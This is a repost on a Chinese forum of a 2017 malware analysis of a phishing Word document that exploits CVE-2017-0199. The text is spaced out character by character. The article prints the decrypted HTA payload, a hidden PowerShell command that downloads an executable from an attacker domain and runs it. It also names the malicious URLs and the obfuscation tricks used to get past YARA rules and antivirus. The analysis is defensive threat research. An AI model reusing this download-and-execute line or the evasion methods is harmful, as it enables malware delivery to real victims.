搜索

[12179] 2017-12-31_CVE2017-0199漏洞利用的新姿势

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2017-12-31_CVE2017-0199漏洞利用的新姿势 C V E   2 0 1 7 - 0 1 9 9 漏 洞 利 用 的 新 姿 势 k c z w a 1   F r e e B u f   2 0 1 7 - 1 2 - 3 1 * 本 文 作 者 ： k c z w a 1 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 近 日 从 客 户 处 捕 获 一 枚 邮 件 附 件 中 的 可 疑 近 日 从 客 户 处 捕 获 一 枚 邮 件 附 件 中 的 可 疑 w o r d 样 本 样 本 ， 以 下 是 扫 描 结 果 ， 检 测 率 貌 似 不 高 。 ， 以 下 是 扫 描 结 果 ， 检 测 率 貌 似 不 高 。 手 动 分 析 吧 。 文 件 m d 5 ： 0 b 1 6 b 2 5 5 9 1 8 2 6 4 6 6 7 a 9 f 0 3 e 0 b 9 f 4 5 1 6 7 1 . 攻 击 流 程 的 第 一 步 攻 击 流 程 的 第 一 步 打 开 该 w o r d 样 本 没 有 给 任 何 提 示 该 就 直 接 联 网 获 取 文 件 ：
w i n d b g 挂 着 找 了 半 天 ， 一 直 没 发 现 这 个 链 接 动 作 是 怎 么 触 发 的 。 后 来 在 发 现   d o c u m e n t . x m l . r e l s 里 面 找 到 一 个 链 接 到 外 部 的 o l e o b j e c t 对 象 ， 指 向 地 址 h t t p s : / / k l o t s h o p . t e c h / i m a g e s / m a p s / t i s t y . d o c 。 在 d o c u m e n t . x m l 里 找 到 该 o l e o b j e c t 的 属 性 。 通 过 这 个 o l e o b j e c t   ， o f f i c e 可 以 链 接 外 部 的 o f f i c e 文 档 ， 当 然 这 个 o l e o b j e c t 属 性 也 可 以 添 加 s c r i p t   m o n k e r   ， s o a p   m o n k e r 标 签 来 触 发 0 1 9 9 和 8 5 7 9 等 o f f i c e 漏 洞 ，   目 前 也 发 现 了 用 使 用 这 样 的 方 法 来 攻 击 的 样 本 一 批 样 本 。 2 . 攻 击 流 程 的 第 二 步 攻 击 流 程 的 第 二 步 T i s t y . d o c 下 载 下 来 后 发 现 是 个 r t f 格 式 的 文 档 ， V t 上 一 看 ， 只 有 几 个 厂 商 对 这 个 文 件 检 测 ， 也 就 是 说 如 果 用 这 个 文 件 来 做 攻 击 的 话 国 内 的 杀 软 都 会 漏 过 去 ？ 文 件 头 如 下 ：                         ! [ C V E   2 0 1 7 - 0 1 9 9 漏 洞 利 用 的 新 姿 势 ] ( h t t p : / / i m a g e . 3 0 0 1 . n e t / i m a g e s / 2 0 1 7 1 2 2 5 / 1 5 1 4 1 7 3 6 0 3 3 1 6 2 . p n g ! s m a l l )  
O b j a u l i n k   o b j u p d a t e , 标 准 的 0 1 9 9 的 线 索 ， 继 续 往 下 找 ， ： U r l m o n k e r   的 标 识 符 E 0 C 9 E A 7 9 F 9 B A C E 1 1 8 C 8 2 0 0 A A 0 0 4 B A 9 0 B ， 病 毒 作 者 加 入 了 各 种 符 号 混 淆 ， 目 的 就 是 绕 过 网 上 公 开 的 那 些 y a r a 规 则 ， 继 续 往 下 ： u r l 的 地 址 ， 为 了 绕 过 y a r a 检 测 ， 也 是 加 入 了 各 种 符 号 隔 开 有 意 义 的 字 符 段 ， 不 过 看 起 来 效 果 很 好 ， v t 上 对 这 个 文 档 的 检 测 确 实 很 少 。
u r l 解 出 来 后 是 h t t p s : / / k l o t s h o p . t e c h / i m a g e s / m a p s / n i n . h t a ， 一 个 h t a 文 件 ， 由 于 0 1 9 9 漏 洞 的 存 在 ， 该 h t a 文 件 会 被 直 接 执 行 。 3 . 恶 意 攻 击 流 程 的 第 三 步 ： 恶 意 攻 击 流 程 的 第 三 步 ： n i n . h t a 文 件 内 容 如 下 ： 解 密 后 如 下 ： 4 . 攻 击 流 程 的 第 四 步 ： 攻 击 流 程 的 第 四 步 ： 第 三 步 中 的 h t a 文 件 主 要 功 能 就 是 用 p o w e r s h e l l 去 访 问 h t t p s : / / l o n g s t o p . c l u b / S m i l e y s / k i n a / d l n d . p h p 并 将 返 回 的 内 容 保 存 D i m     a d I M     b S E T       a               =               C r e a t e O b j e c t ( " W S c r i p t . S h e l l " )             b               =               "   p O W e r s h E L l . E x E   - E X   b Y p A S s   - N o p   - w h I D D E n   i N v O K E - W E b r E Q u E S t   - u r i   ' h t t p s : / / l o n g s t o p . c l u b / S m i l e y s / k i n a / d l n d . p h p ' - O U t f i l E         ' % A P P d A T a % k a l a t . e x e '   ;   I n v O K e - i T e m   ' % a p p d A T a % k a l a t . e x e ' "                 a . r U N               " " C : W i n d o w s s y s t e m 3 2 c m d . e x e " " / c " " ,       0               S E T       a               =               n O t H I N g s e l f . C l o S E
为 % A P P d A T a % k a l a t . e x e 并 执 行 。 该 链 接 会 3 0 2 到 另 外 一 个 地 址 。 h t t p s : / / f e x . n e t / g e t / 1 7 7 4 4 0 9 2 2 8 0 4 / 1 0 8 2 9 1 9 7 1 然 后 又 会 继 续 3 0 2 到 h t t p s : / / f s 5 . f e x . n e t / g e t / 1 7 7 4 4 0 9 2 2 8 0 4 / 1 0 8 2 9 1 9 7 1 / a 4 f 8 7 4 e a / f a t e . e x e h t t p s : / / f e x . n e t / 是 一 个 类 似 网 上 云 盘 的 网 站 , 可 以 让 用 户 随 意 上 传 文 件 。 最 后 会 下 载 到 这 个 e x e 5 . 攻 击 流 程 的 第 五 步 ： 攻 击 流 程 的 第 五 步 ： f a t e . e x e , 会 释 放 一 个 a u t o i t 脚 本 加 载 器 和 一 个 加 密 的 a u t o i t 脚 本 , 以 及 一 些 其 他 的 文 件 , 并 调 用 加 载 器 加 载 该 a u t o i t 脚 本 。 A u t o i t 脚 本 加 载 器 是 干 净 的 官 方 版 本 ， 不 会 被 杀 ， 而 加 密 的 脚 本 本 身 不 是 可 执 行 格 式 ， 因 此 也 不 会 被 杀 ， 也 就 是 这 个 文 件 释 放 出 来 的 所 有 文 件 都 不 会 被 查 杀 ， 作 者 也 是 试 图 通 过 这 种 手 段 来 免 杀 ， 不 过 效 果 看 起 来 不 太 好 ， v t 信 息 显 示 这 个 文 件 本 身 被 大 多 数 厂 商 检 测 。 综 合 上 面 的 分 析 ， 第 二 步 中 的 恶 意 文 档 被 查 杀 的 概 率 很 低 ， 第 一 步 中 的 文 档 次 之 ， 而 最 后 一 步 中 的 恶 意 软 件 检 出 率 非 常 高 ， 可 以 看 到 钓 鱼 攻 击 中 使 用 各 种 带 变 形 后 的 n d a y 的 文 档 而 非 e x e 来 绕 过 杀 软 的 静 态 检 测 还 是 很 奏 效 ， 当 然 最 后 这 个 真 正 实 施 恶 意 行 为 的 p e 免 杀 实 在 做 的 很 差 。 * 本 文 作 者 ： 本 文 作 者 ： k c z w a 1 ， 本 文 属 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理